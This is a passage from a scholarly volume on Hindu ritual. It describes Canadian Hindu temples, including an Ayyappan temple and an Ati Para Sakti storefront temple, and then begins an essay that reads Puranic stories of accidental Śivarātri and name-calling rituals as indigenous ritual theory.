Once the Sri Lankan pilgrims became the center of the Ayyappan_ community, the ritual of the community was changed in a number of important ways. The Nair gentleman who had started the temple allowed the new board time to find a new Ayyappan_ image and then moved the original one to the Vishnu Mandir Temple, where, as noted earlier, it is now in a side altar. The arrangement of the deity images in the temple is unusual but is described by the priests and worshipers as the only possible arrangement consistent with the special power of each deity. The Ayyappan_ image is in a fully enclosed and elevated shrine that faces west but is near the middle of the temple area, except that it is offset to the south. The powerful goddess is outside the door of that shrine facing south, and Ayyappan_ faces Bhairava, the dangerous form of Śiva, who is in a niche at a distance on the far wall. Worship begins with the worshiper approaching three images on a table at the rear or eastern end of the hall. These deities are Aiyanār, a deity somewhat similar to Ayyappan_ that is found in villages of Tamilnadu and Sri Lanka; a goddess; and the snake deity revered by the Karaiyar or fisherman caste that leads the Tiger military. With the blessing of these deities, the worshipers move on to Ayyappan_ and the main goddess, and then they carefully ward off the anger of Bhairava by stopping at his shrine as they leave. The temple atmosphere buzzes throughout the week with priests loudly explaining to worshipers how to keep from offending the deities and bare-chested pilgrims performing service for the deities and energetically preparing themselves for the challenges of the pilgrimage.
The temple board has now had a medium-sized temple built on the lot beside the cattle shed. There was some hesitation about moving the deity; some worshipers feared that on the second story of the new building the deity would be less powerful because he would not have the power of the earth, and especially of the area long inhabited by cows, directly underneath him. The priests eventually altered the design to meet those concerns and, with Namboodri Brahman priests recently recruited from Kerala, the ritual of the temple is moving in a more Brahmanic direction.
The second example of a storefront-style temple is the Ati Para Sakti Temple opened for worship in 2002. For most Sri Lankan immigrant women, the absence of local goddess shrines for intimate daily worship was a difficulty when they arrived in Canada. Aware of this problem, a majority of the storefront temples in the part of the city where Tamils have concentrated are goddess temples of some sort. One of the Tamil women living in this area and longing for a suitable place to worship during the 1990s was Vasanthi. She had grown up in a rural area of Sri Lanka and had assisted her grandfather when in retirement he had built a Durgā temple on the family property. When the civil war started, the family had arranged for her youngest sister to go to Chennai in South India to study medicine, and Vasanthi went along to keep her company. During this time she spent much of her time in Melmaruvathūr, where the local priest had developed a major cult around the worship of the supreme goddess, ?ti Para Śaktī. Most of the ritual in this cult is led by women, and Vasanthi participated in the leadership and memorized hours of ritual detail. When the whole family later immigrated to Canada, they found it difficult to get suitable work and were often unemployed. Vasanthi began to spend much of the night performing severe rituals for the goddess, or "Amma," and was soon known among family and friends as someone with exceptional spiritual power. In 2002 she and her friends received permission from the priest in Melmaruvathūr to open a congregational branch of the ?ti Para Śaktī movement in a storefront.
This storefront temple now functions seven days a week, with all-day services and meals on Saturday and Sunday and evening services the rest of the week. Vasanthi is clearly the worship leader (addressed as _talaiv ī,_ "leader" or "actress" in colloquial Tamil) when she is there (every day except Friday, when she serves another location), but there are twelve other women designated to lead the ritual, and at least half of them are busily engaged in assisting people in their worship at any moment during the service. These women are not exactly priests in that worshipers perform their own acts of worship, but the leader recites the prayers and demonstrates the motion of the hand that is required as the worshiper repeats the prayer. Men and children make up about a third of the worshipers and help with the food, but they do not lead in the ritual, except for the closing exercise that involves expelling the evil spirits from the building.
The object of worship in this temple is the goddess ?ti Para Śaktī, sometimes referred to as Om Śaktī, who is considered by the worshipers to be the supreme divinity. For some years now, she has been embodied in Arulthiru Bangaru Adigalar, the priest of Melmaruvathūr, whom the worshipers address as "Amma" as well. The altar of the temple is a table six feet from the back wall, and in the center of this heavily adorned table is a small metal image of the goddess. As one approaches her moving in a clockwise direction, one first meets a small Gaṇeśa on the end of the table and then a picture of Bangaru Adigalar possessed by her. Having worshiped from that side, the worshiper backs away, rather than crossing in front of the goddess, and goes to a nine-foot-high cutout of Bangaru Adigalar in the back left corner and then across the back to a similar cutout in the back right corner. Finally the worshiper approaches the other end of the worship table, where there is a replica of the sacred feet of Bangaru Adigalar and a second opportunity to worship the image of the goddess.
The common congregational part of this worship experience takes place every day when for about forty-five minutes the congregation, seated to the side, recites from a prayer book the antiphonal prayers and hymns that are led by one or more of the leaders. For hours before and after that common prayer, most worshipers come anxious to do their own prayers, make garlands, create rice powder _kolam_ s (designs in front of the altar), or recite 108 names of the deity or 108 petitions to the deity. Throughout this bustle of ritual activity, a dozen or more congregants are busily engaged with the preparation of the meal in the kitchen, and extended conversations on life's problems go on between one of the leaders and every worshiper. Ledger books are constantly passed from hand to hand as peoples' memberships are noted, prayer requests are made, and the financial contributions on the altar are counted. Before leaving, a few men, women, and/or children take camphor lights in coconuts and, after asking permission from the goddess, go to every corner of the hall, the kitchen, and even the washrooms to gather up the evil spirits lurking in those corners. They then go to the front door and, looking at the goddess, smash the coconuts on a grinding stone.
There is no public speaking of any kind during this extended ritual, and everyone's attention is directed to ritual action at all times. Nevertheless the sense of community is strong, and everyone greets everyone else as they move about the room. Most people act as if they know everyone else, and they quickly tell others seated near them about their personal problems and why they brought those problems to the goddess. Because everyone eventually adopts the style of the leaders and assists others in their worship in some small way, the line that normally marks off community activity from ritual activity almost totally disappears. The goddess is described as the supreme deity, but people reassure one another that she is forgiving and tolerant of human error and will comfort them both here in the hall and as they go back to their difficult lives. Late in the temple day, topics shift from how to perform this or that ritual to how to sweep up and wash the floor and how to find a ride home. It is as if the goddess now possesses the whole community much as she does Bangaru Adigalar and now goes with them as they destroy the evil spirits and move out into the world for another day.
The many storefront temples now available in the urban and suburban malls of Canada represent a distinct new style of Hindu ritual. Because the financial investment need not be a major issue and it does not take a long period of time to build the community, the primary focus is on the theological promises the ritual for the chosen deity offers. In the two cases described above, the name of the deity and the ritual style associated with it were from India and were not initially familiar to the Sri Lankan community. On the other hand, because the deities had established reputations, the ritual style was similar to familiar Tamil ritual styles, and gifted Tamil-speaking leaders were involved in each case, the newness of the ritual turned out to be one of the attractions in this new social setting.
Conclusion
Based on the evidence presented here, what are the factors affecting the ritual development of Hindu temples within the Canadian context?
One factor that might easily be overlooked is the sense of cultural openness provided by the Canadian tradition of social pluralism. A legislative expression of this tradition was proposed in 1971 in the Multiculturalism Act that was finally passed in 1988, but the tradition is deeply rooted in Canadian history. The immigrants' first experience of this tradition sometimes seems like a form of indifference as neighbors offer new immigrants the assurance that they are free to worship in any way they choose. A few self-appointed leaders within the Indian immigrant community arrived in Canada with a very different view of the cultural encounter that was about to take place, and they offered to "represent" Hinduism in a way that challenged the Canadian public and put the community in a good light. Most of the early immigrants were unsure what to expect in this regard, but as they saw no evidence of a difficult encounter, they chose to ignore the appeals of those who wanted to "represent" them in this confrontational way. Gradually they turned their attention toward other Hindus in the vicinity and began a period of introspection.
Having turned inward and having begun to examine themselves, groups of immigrants soon heard a second surprising thing about their new situation, namely, that if a number of them agreed, they could call themselves a temple community and have one of their number licensed to perform Hindu weddings. This seemed odd at first because Sikhs, Christians, and Jews had national organizations that handled these matters, but it was a big break for Hindus because they came from many different places and were finding that they had little in common with one another and no national organization. Although they had started their discussions about a Hindu community primarily to satisfy government officials, those discussions soon blossomed, and barriers of language, caste, and gender were soon left behind as people voted on the images that they were planning to worship and on the duties laypersons and priests would have for those deities. As we saw in detail in the case of the Hindu Samaj of Hamilton, the ritual system set in place by these democratic discussions was put together piece by piece and carefully tested in the worship practice of the temple over an extended period of time.
A third factor in the development of ritual systems in the Canadian setting was that, as temple communities became established over longer periods of time, the ritual system came to be taught to the second generation as an authoritative form of Hindu practice. Although the management of the temple continued to be in the hands of a democratically elected board, the ritual system established by the founders came to be understood as part of the revered tradition of the temple.
When by the end of the last century the pace of immigration continued to expand and more and more immigrants came to join family and friends who had been in Canada for some time, a fourth factor began to influence the development of the ritual practices of temples. Superficially one might describe this as the development of ethnic or regional temples, because some of these newer temples served suburbs of Toronto where immigrants from certain regions of India had started to congregate. It would be a mistake, however, to think that the ritual of these temples involved an effort to produce "authentic" examples of ritual systems of India. These newer temples continue in the now-established Canadian tradition of inviting worshipers to design a ritual tradition that meets their needs as a community. What is new about these temples is that instead of focusing on the number of deities to be worshiped, as the early temple communities did, they create a worship atmosphere that is comfortable for the ethnic subcommunities that use them. One feature of this comfort is the use of the traditional language. In general, however, there is no effort to reestablish traditional forms of worship, and the temples have been daring in establishing worship styles that are aesthetically comfortable in terms of whom these worshipers are today.
Finally the storefront temples allow the many different temple traditions, which have been developing in Canada from the beginning of Hindu immigration, potentially to expand into infinite varieties. The two that we examined in detail follow ritual patterns that are borrowed from India, but even they, in the Canadian context, are understood to be under the direction of a board chosen by the membership. Each board is autonomous and, while responsible to the government on tax matters, is responsible only to its membership on matters of theology and ritual. In practice the founders' wishes in relation to ritual are treated with reverence, and in the case of these two storefront temples, that reverence brings them in line with established Indian traditions.
Although there are now hundreds of temple traditions established in Canada, no two are affiliated together. There was an attempt to form a Canadian Council of Hindus in the 1980s, but it was abandoned when the founder died because, like the other leadership efforts of the Hindu Temple Society and Dr. Doobay, it seemed to be addressing a perceived need to fight for one's rights that few in the temple communities felt. The government encouragement of the temple communities was certainly a factor in their widespread development, but it also seems to be the case that the opportunity to define their own ritual practices made it possible for Hindus in Canada to determine for themselves a faith appropriate to their new identities. Instead of trying to convince their children to adhere to religious practices designed for a very different cultural environment, Canadian Hindus seem to have found a way to practice rituals with which they are comfortable and which they feel comfortable passing on to their children.
**Notes**
1. I use the concept of "imagined community" developed by Benedict Anderson (1983) in referring to the Canadian polity because I think it brings out well the unwritten consensus that has long governed Canadian behavior. Part of my argument about Hindu immigrants is that they picked up this sense of unwritten consensus and, instead of following those who wanted to articulate Hindu rights and develop a "represented community" for them, allowed ritual behavior to define their role in Canadian life.
2. Sikh history in Canada has been thoroughly studied both by outside scholars and scholars of the community. N. Singh's 1994 study is the best from inside the community.
3. The political movement they feared was the Ghadr movement based in Berkeley, California, but influential among Sikhs in Canada as well. See Juergensmeyer 1989.
4. Sikhs are as numerous in Canada as are Hindus, and they are better known by the Canadian public because of their confrontational style and the role they now play in politics (Mahmood 2005).
5. I use the local spellings for the names of all temples.
6. I follow the work of Kaplan and Kelly (2001) in using the term "represented community" to create a sharp contrast with "imagined community."
7. There are widely different dates suggested by the scholarly community for the life of Māṇikkavācakar. I have dealt with that matter at length in Younger 1995.
References
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Bramadat, Paul, and David Seljak, eds. 2005. _Religion and Ethnicity in Canada._ Toronto: Pearson Longman.
Brown, Judith. 2006. _Global South Asians: Introducing the Modern Diaspora._ Cambridge: Cambridge University Press.
Coward, Harold. 2000. "Hinduism in Canada." In _The South Asian Religious Diaspora in Britain, Canada, and the United States,_ edited by Harold Coward, John R. Hinnels, and Raymond Brady Williams, 151–72. Albany: State University of New York Press.
Dempsey, Corinne G. 2006. _The Goddess Lives in Upstate New York: Breaking Convention and Making Home at a North American Hindu Temple._ New York: Oxford University Press.
Eck, Diana. 2001. _A New Religious America: How a "Christian Country" Has Now Become the World's_ _Most Religiously Diverse Nation._ San Francisco: HarperCollins.
Gunn, Janet. 2007. "Poiesis/Praxis/Puja: Constructions of Self and Culture in Diasporic Hindu Household Ritual." Paper delivered at the American Academy of Religion Annual Meeting, San Diego.
Hanson, Richard Scott. 1999. "Sri MahaVallabha Ganapati Devasthanam of Flushing, New York." In _Hindu Diaspora: Global Perspectives,_ edited by T. S. Rukmani, 349–66. Montreal: Chair in Hindu Studies, Department of Religion, Concordia University.
Israel, Milton. 1994. _In Further Soil: A Social History of Indo-Canadians in Ontario._ Toronto: Toronto Organization for the Promotion of Indian Culture.
Juergensmeyer, Mark. 1989. "The Gadr Syndrome: Immigrant Sikhs and National Pride." In _Sikh Studies: Immigration and the Experience beyond Punjab,_ edited by Gerald Barrier and Verne Dusenberry, 302–21. Delhi: Chanakya.
Kaplan, Martha, and John D. Kelly. 2001. _Represented Communities: Fiji and World Decolonization._ Chicago: University of Chicago Press.
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Mahmood, Cynthia Keppley. 2005. "Sikhs in Canada: Identity and Commitment." In _Religion and Ethnicity in Canada,_ edited by Paul Bramadat and David Seljak, 52–68. Toronto: Pearson Longman.
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## PART 3
## _Reconsiderations_
Context and Theory
## The Accidental Ritualist
DAVID L. HABERMAN
There is renewed interest in ritual these days, especially within certain circles of European and American popular culture.1 This growing interest seems to involve the assumption, and even hope, that ritual is a transformative experience affecting some kind of momentous change that might not occur in any other fashion. In my own study of academic theories about ritual, however, I have noted that this position is debatable. Some theorists do indeed support the contention that ritual is transformative. For example, in his famous statement on religion as a cultural system, Clifford Geertz writes: "Having ritually 'leapt' into the framework of meaning which religious conceptions define, and the ritual ended... a man is—unless, as sometimes happens, the experience fails to register—changed" (1973, 122). Other well-known theoretical statements about ritual, however, emphasize a more conservative view and suggest that rather than transform, ritual helps to maintain existing structures. Victor Turner, for example, in his most significant book on ritual, _The Ritual Process_ (1977), suggests that ritual does not so much transform individuals as reduce social tensions and allow social structures to continue in a rejuvenated manner. According to him, with a ritual performance "the stage is then set for an ecstatic experience of communitas, followed by a sober return to a now purged and reanimated structure" (185). For Turner ritual functions like a steam valve on a pressure cooker that releases social tensions in a controlled manner. Within this tension-reducing model, ritual is not so much transformative as conservative, acting to preserve social structure.2 Suffice it to say that the question of whether ritual is transformative or not is a contentious issue within the academic study of religion. Furthermore even among those who agree that ritual is transformative, there is still much that is debatable regarding the cause of change. If ritual is transformative, how is transformation accomplished? In other words the claim that ritual is transformative begs the further question: What is the key agent or mechanism of transformation?
Scholars of religious studies today are familiar with academic theories about the nature and function of rituals; we have our own ways of thinking and talking about ritual action. But what other perspectives on ritual outside the Western academy are available to us? Might there be indigenous views on ritual experience with which we can think productively? What kind of theorizing about ritual can be found in nonacademic literature, say even within sacred texts themselves? I propose that theorizing about ritual is indeed present in many primary texts, although, granted, this theorizing takes forms different from those we customarily see in academic studies on ritual theory. Here I am in agreement with Rob Campany, who, in an article titled "Xunzi and Durkheim as Theorists of Ritual Practice," sets out to deconstruct the dualistic supposition behind much past academic theorizing about ritual that assumes "we [Western academicians] had the theory, while what they [religious communities or the authors of primary ritual texts] could provide amounted only to 'raw' data; we theorized about their practices; we philosophized, they acted" (Campany 1996, 87). In contrast Campany insists that all practitioners of rituals have some self-understanding of why they do what they do, and he calls for "more studies of premodern and non-Western ritual theory" (98). I argue for the same; indeed this is a major objective of this essay. I propose to navigate the transgression of an academic boundary that divides those who promote and perform rituals from those who theorize about them while asking: What might indigenous theories embedded in religious texts have to say about the transformative process of ritual?
Hindu texts known as the Purāṇas—the term literally means "ancient"—are a collection of early texts that purport to tell of olden times and contain an ocean of information about a wide variety of subjects, such as creation, the ages of the world, and the genealogy of gods, kings, and sages. They are fluid and developing texts compiled by multiple authors over long periods of time (thus making them difficult to date) and reflecting oral and living traditions. The Purāṇas are the principal scriptures of theistic, temple-based Hinduism and are a treasure house for cultural practices that stretch over a period of some two thousand years. Ludo Rocher writes about them: "The Purāṇas are, first, important documents for the study and reconstruction of the history of Hindu India. In a more practical way, they have contributed to the continuity of Hinduism through the ages, and are indispensable for a correct understanding of Hinduism today. As a matter of fact, every Hindu is influenced by the Purāṇas, and his activities are guided by them" (Rocher 1986, 12–13). Important for our considerations, these texts are also filled with detailed descriptions of ritual performances and numerous accounts of the benefits to be gained by performing these rituals. Although the Purāṇas do not treat the subject of ritual theory explicitly, there is a rather common genre of story contained within them that I have come to regard as a kind of implicit theorizing about the efficacy of ritual experience. It is my intention to explore this genre by examining several examples and to investigate the way in which they might be read as theoretical speculations about ritual.
The Story of Guṇanidhi
I begin with a detailed summary of the story of Guṇanidhi, as it illustrates the genre I have in mind quite effectively. This story, which appears in the seventeenth and eighteenth chapters of the first section of the "Rudrasamhitā" of the Śiva Purāṇa, is told to the sage Nārada by Brahmā, god of creation (Singh 1981, 48–49).3 In the city of Kāmpilya, there lived a great Vedic fire sacrificer named Yajñadatta. This Brahman was a very knowledgeable scholar and generous donor who stood as a model of virtue for his entire community. Yajñadatta had a son named Guṇanidhi (which means "a treasure house of virtues"). Guṇanidhi was handsome and well educated and, being the son of the learned Yajñadatta, had everything going for him. In his late adolescent years, however, unbeknownst to his father, he became addicted to gambling. This spelled the ruin of Guṇanidhi; he took money from his mother and squandered it all away on his gambling habit. Over time he fell away from his Brahman ways; he stopped his studies and began insulting the sacred texts. He kept a distance from his father and associated only with bad company. Although his loving mother strongly encouraged Guṇanidhi to emulate his virtuous father, she affectionately covered for him, allowing him to continue his bad conduct. Eventually Guṇanidhi's father discovered the truth and was so outraged that he threw Guṇanidhi out of the house. Guṇanidhi now had no choice but to live the life of a poor and homeless wanderer.
While a very hungry Guṇanidhi sat beneath a tree one evening at sunset, a devotee of Śiva walked past him. This happened to be the evening of Śivarātri, the annual night on which devotees of Śiva fast and remain awake while worshiping the deity with great ritual celebration. The devotee was therefore carrying a variety of sweet-smelling food offerings to be presented to Śiva in the form of a _li ṇga_4 in a nearby temple. Drawn by the delicious smells, the starving Guṇanidhi followed the devotee. He remained hidden outside the temple, waiting attentively for a chance to steal the food offerings for himself. Meanwhile he observed the worship being conducted in the temple and listened to the songs and prayers being sung. When the worshipers fell asleep, Guṇanidhi saw his opportunity and entered the inner sanctum of the temple to take the food offerings. Because it was dark inside the inner sanctum, he tore a piece of cloth from his lower garment and added it to the sacred lamp for extra light. Taking the food offerings with him, he exited the inner sanctum hastily, eager for his first meal in a long time. On his way out of the temple, however, Guṇanidhi tripped over a devotee and woke him. The devotee began to shout, and soon the night watchman on duty caught and killed Guṇanidhi, who never got a chance to eat the food he had stolen (which would have been a grave offense).
The attendants of Yama, god of death, soon appeared on the scene to drag Guṇanidhi off to hell for judgment and punishment. Just as they finished binding him, the attendants of Śiva arrived and ordered those of Yama to release him. The attendants of Yama were shocked by this request and demanded an explanation, arguing that surely Guṇanidhi's sinful conduct warranted punishment in a torturous hell. The attendants of Śiva responded by asserting that the ways of dharma are subtle ( _suk ṣma_). They insisted that they could detect an inner transformation in Guṇanidhi and went on to explain that on this auspicious night of Śivarātri, he had properly performed a number of ritual actions that had freed him from all his sins: (1) he listened to the names of Śiva being recited during the temple prayers; (2) he observed the worship being conducted; (3) he fasted and remained awake throughout the night; (4) he focused his mind in concentration on the activities around the Śiva _li ṇga_ within the temple; and (5) he added fuel to the lamp dedicated to Śiva just as it was about to go out. The attendants of Śiva acknowledged that Guṇanidhi performed all these sacred acts unintentionally and for the wrong reasons; nonetheless they insisted that the performance had transformed him and had made him eligible for residence in Śiva's abode, where he would enjoy great pleasures for some time. Moreover they announced that Guṇanidhi had become such a great favorite of Śiva that he would be reborn in the future as a favored king of Kalinga.
Significantly in this narrative Guṇanidhi undergoes personal ontological change. Surely this is a story about a tremendous transformation, one that is affected by ritual action. Since a major purpose of this text is to promote performance of the Śivarātri ritual, it is not surprising in any debate over the nature of ritual that this text would clearly side with those who view ritual as transformative. What is more significant for our considerations, however, is that this text identifies the agent or mechanism of transformation. More important than any other factor—such as intentionality, which is here implicitly denied as central—ritual action itself is identified as the transformative agent. The Śiva Purāṇa registers that Guṇanidhi's intention was to steal and that he fueled Śiva's lamp for his own gain. Nevertheless the power of ritual performance is affirmed, while physical action itself is highlighted as transformative. Yama instructs his attendants to leave alone any person who imitates the behavior of a worshiper of Śiva for any reason whatsoever. Here physical imitative action itself is clearly endorsed, regardless of knowledge or intention. Putting the body in the physical groove of ritual action is lifted up as foremost among the possible transformative elements.
Additional Purāṇic Śivarātri Stories
The story of Guṇanidhi is by no means unique; it is among a genre found throughout many of the Purāṇas. Another account of a wicked person transformed on the night of Śivarātri by an accidental ritual performance is present in the Garuḍa Purāṇa (1.124) in the form of a story about the Śivarātri _vrata_ (ritual observance) that Śiva narrates to the goddess Gaurī (Bhattacharya 1964, 150–51).5 Śiva begins his tale with a description of the Śivarātri _vrata_ that is said to enable one to cross over and avoid hell ( _naraka_ ). This text instructs the practitioner to keep awake all night and worship Śiva on the fourteenth day of the dark half of the month of Phālguna. To illustrate the power of this ritual, Śiva narrates the story of Sundara Senaka, the sinful king of Niṣādas. One day the king went hunting in the forest. After a long day without any success, the king became exhausted with hunger. He climbed a tree for safety and, because of his anxious condition, stayed awake all night. The tree happened to be a _bilva_ tree (the tree most sacred to Śiva) and, unbeknownst to the king, beneath it stood a Śiva _li ṇga._ As the king moved about in the tree, he accidentally knocked some leaves down on the _li ṇga._ Later in the night, an arrow accidentally fell from the king's quiver, and he jumped down to retrieve it. Feeling around on the ground in the dark while searching for the arrow, he crawled up to the _li ṇga_ and touched it lightly with his right hand. Once he located the arrow and returned it to his quiver, the king took out a container of water he was carrying to wash the dust from his body. As he opened the container, some of the water accidentally splashed onto the _li ṇga._ Thus, this text informs us, the wicked king accidentally performed all aspects of the Śivarātri worship: while staying awake all night, he bathed the Śiva _li ṇga_ with water, offered it sacred _bilva_ leaves, prostrated before it, and touched it gently.
When Sundara Senaka died sometime later, Śiva informed Gaurī that Yama's attendants had caught him with a noose and had begun dragging him away. Śiva's attendants confronted those of Yama and forced them to release the king. Śiva's attendants then escorted Sundara Senaka to Śiva's abode, where he himself became an attendant of Śiva. Therefore, the text concludes, he achieved the benefits ( _pu ṇya_) of the ritual even while performing it without knowledge _(ajñ ānata?)._ To be sure, the text does go on to explain that one who performs the ritual knowingly ( _jñ ānāt_) will achieve eternal benefits ( _ak ṣaya_ _pu ṇya_). Intentionality, then, is not completely disregarded, but neither is it marked as necessary for ritual transformation. The story is obviously told to promote the intentional and knowledgeable performance of the Śivarātri ritual, but it is done in a manner that makes clear that the transformative benefit of the ritual is not derived primarily from any intention but rather from its physical performance.
A point of clarification is in order. The Purāṇas give expression to a theistic universe. This means that the ultimate power operative in the Śivarātri ritual is the power of the _li ṇga,_ and the power that originates from the _li ṇga_ clearly comes from Śiva himself. My argument here is not that the physical performance of ritual trumps the power of God (although in some ritual contexts, it may even accomplish this) but rather that the physical performance trumps both knowledge and intentionality in the ritual context of the genre of Purāṇic stories I work with in this essay. Śiva's power is supreme; however this power is not simply dispersed in some random fashion. Rather it flows to one who performs ritual interactions with the _li ṇga—_whether intentionally or accidentally. I am highlighting in these stories the theoretical position that physical performance in ritual is more important than either intentionality or knowledge, not more important than the power of the deity.
Many similar stories about the performance of accidental rituals are contained within other Purāṇas. Another story of an accidental Śivarātri ritual performance is told in the "Uttarakhaṇḍa" of the Padma Purāṇa (154.8–53).6 Here we meet Caṇḍa, a violent and cruel hunter who accidentally worshiped a Śiva _li ṇga_ on the night of Śivarātri by staying awake all night without eating and accidentally knocking _bilva_ leaves onto the _li ṇga_ while trying to kill a boar. During the night Caṇḍa became greatly transformed by the performance of these acts; we are told that he was freed from all sins and his heart became pure. His alteration was so great that when his wife showed up the following morning with some meat to feed him, he protected a dog that his wife was about to beat for stealing the meat. Realizing the grievous mistakes of his previously wicked ways, Caṇḍa drew his sword to cut off his own head. At that moment the attendants of Śiva appeared and informed him that Śiva was now very pleased with him, since he had offered _bilva_ leaves to Śiva in the form of a _li ṇga_ and had fasted and stayed awake all night on Śivarātri. As a result of these actions, he was taken away to Śiva's celestial abode.
Another such story is told in the fortieth chapter of the "Kotirudra Saṃhitā" of the Śiva Purāṇa, in a section titled "Śivarātri Māhātmya."7 Here a group of sages specifically asks Sūta if the highest benefit ( _phalam_ _uttamam_ ) can be obtained from the ritual by one performing it without knowledge ( _ajñ ānata?)._ As an affirmative response, Sūta narrates the story of Gurudruha, a wicked thief and hunter, who was once caught in the forest on Śivarātri while hunting deer as night fell. Now following a familiar pattern, he climbs a _bilva_ tree and accidentally worships a _li ṇga_ situated below the tree by spilling water and knocking _bilva_ leaves on it four times while staying awake the entire night without any food. Once again the accidental performance of a ritual is declared to be transformative: Śiva himself appears before Gurudruha and makes him a privileged king. When he dies, he achieves the highest form of union ( _s āyujya)_ with Śiva. Sūta ends his tale by saying: "Even after performing this ritual in ignorance ( _ajñ ātāt_) he attained union. What about those who are endowed with devotion? They will surely attain the highest end" (40.97). Once again knowledge and intentionality are not disregarded, but neither are they identified as the most important aspect of the transformative power of ritual. Physical performance of the ritual is credited for this.
Ajāmila's Shout
Such stories are not only found in the Śaivite context of Śaiva Purāṇas; many are also found in the Vaiṣṇava Purāṇas. Let me give one brief example before moving on with further analysis of these stories. In the sixth _skandha_ of the Bhāgavata Purāṇa, we meet Ajāmila, an upright Brahman who is corrupted by his lust for a beautiful servant woman.8 Ajāmila's attraction to this young woman causes him to abandon his legal wife and virtuous ways. Producing children with the servant woman, he supports his new family by gambling, stealing, and kidnapping for ransom. He even resorts to murder. Ajāmila is fond of his children, especially his youngest son, whom he named Nārāyaṇa (one of the names for Viṣṇu) and cares for with great personal attention. When the moment of death comes for Ajāmila and he sees the attendants of Yama approaching rapidly, he becomes frightened and shouts for Nārāyaṇa. Upon hearing the name of their master, the attendants of Viṣṇu rush to the scene to stop the attendants of Yama from dragging Ajāmila away for punishment. When the attendants of Yama demand justification for this intervention, the attendants of Viṣṇu explain that the act of uttering the name "Nārāyaṇa" freed Ajāmila from all sins. Indeed after calling out to Nārāyaṇa at his moment of death, Ajāmila is so transformed that he is restored to life and returns to his former virtuous ways; he spends the remainder of his years in devoted religious practice and upon death becomes an attendant of Viṣṇu.
The attendants of Viṣṇu directly acknowledge the intention behind Ajāmila's transformative action; they know he is calling out to his son in fear. Nonetheless they extol the efficacy of the act of uttering the name of Viṣṇu, a significant feature of Vaiṣṇava ritual practice. Regardless of his intentions, Ajāmila's act is profitable. Viṣṇu's attendants say: "Just as powerful medicine will produce its healing effects, even when taken accidentally ( _yad ṛcchayā_) by one unaware of its efficacy, so too the mantra consisting of Viṣṇu's name will produce its transformative effect, even when uttered accidentally by one unaware of its efficacy" (Bhāgavata Purāṇa 6.2.19). A similar statement might also be made about the ritual acts associated with Śivarātri in the previous stories. Here the power in Viṣṇu's name undoubtedly derives from Viṣṇu himself, but one accesses that power by the ritual act of uttering Viṣṇu's name, regardless of whether one does so intentionally or not.
Ritual Theory in the Purāṇas
What all these stories have in common is an accidental performance of a ritual with transformative results. This is curious. It is certainly possible to tell a _vrata_ ritual story about an intentional, knowledgeable, and effective performance in a straightforward manner; indeed many such stories are also to be found in the Purāṇas. The Agni Purāṇa, for example, contains a description of the Śivarātri _vrata_ that urges practitioners to engage in the Śivarātri ritual with full understanding and intention.9 Why, then, tell a story of ritual performance in this way? Moreover, how might we read these stories as scholars of ritual and ritual theory? What do the Purāṇas contribute to our own consideration of ritual? Before turning to these questions, a preliminary matter must be addressed. The stories that I have retold from the Purāṇas, on the one hand, could be dismissed as mere religious propaganda; on the other hand, they might be accepted naively as explicit ritual theory. It seems to me that both extremes would be mistaken. Assuredly these stories are not explicit ritual theory; their primary function is to promote certain religious practices within a particular religious tradition. Nonetheless to reject outright consideration of these stories as kinds of ritual theory assumes that the authors of these texts share none of our speculative concerns about ritual or that their thoughts are so crude that they are not worthy for our thinking about ritual. Refusing to consider them, in my opinion, would mean an opportunity missed to think about the nature of ritual action cross-culturally with the aid of a fresh perspective of Purāṇic authors. I propose instead that they be read cautiously and critically as implicit theoretical speculations about ritual experience. And what do they teach us? They have much to say about intentionality and the efficacy of physical actions. I contend that narrating ritual stories in this way is significant, for it tells us something important about Purāṇic notions of ritual. Stories about effective but accidental ritual performances leave no doubt about the main transformative agent: physical performance is emphasized over knowledge and intentionality.
The texts from which I draw these stories do not completely ignore such issues as intentionality, knowledge, or sincerity. The Bhāgavata Purāṇa story of Ajāmila ends with the statement: "By calling out the name of Hari (another name for Nārāyaṇa/Viṣṇu) addressed to his son at the time of his death, even Ajāmila attained Viṣṇu's abode; how much more true would this be for one who does so with faith ( _ś raddhayā_)" (Bhāgavata Purāṇa 6.2.49). The Śiva Purāṇa story of Guṇanidhi counsels: "Thus even the smallest service rendered to Śiva bears fruit in time. Let all persons seeking happiness realize this and continue to worship Śiva" (Śiva Purāṇa 18.62). Although it is actually sincere and deliberate action that is being promoted in the Purāṇas, unintentional action is undoubtedly recognized as being efficacious. Another Purāṇic text filled with much detailed information and instruction about the performance of ritual worship is the Liṇga Purāṇa. Although its primary function is also to promote the intentional performance of such worship, it too states: "If even those who are devoid of devotion incidentally ( _prasa ṇgāt_) worship the Lord, he bestows fruits upon them."10 The power of intentionality is acknowledged as being important in the Purāṇas, but it is clearly regarded as secondary to physical action; these are stories about transformation regardless of knowledge or motive.
The Efficacy of Physical Acts
How might we better understand the efficacy of physical actions disassociated from intentionality? Despite their aim, Guṇanidhi, Sundara Senaka, Caṇḍa, Gurudruha, and Ajāmila all performed actions identical to intentional ritualists. Although the motives differ between intentional ritualists and accidental ritualists, it is important to recognize that their actions are similar. In a previous work, I examined the relationship between what is called an _anubh āva_ and _s ādhana_ in Indian religious culture (Haberman 1988). _Anubh āva_ is a technical Sanskrit term drawn from the classical dramatic tradition; it means the natural expression of some inner state ( _bh āva_). _S ādhana_ is an intentional act designed to achieve a transformation of one's inner state, often understood as the imitation of the _anubh āva_s of some perfected being. Discussions of Rāgānugā Bhakti Sādhana, first articulated by Rūpa Gosvāmin in his _Bhaktiras āmṛtasindhu_—a work based primarily on Vaiṣṇava Purāṇas—and further elaborated upon by his nephew Jīva Gosvāmin and others, include examination of the intimate relationship between these two types of action and can serve as an example of one kind of thinking about the nature of ritual that exists within Indian thought rooted in the Purāṇas.
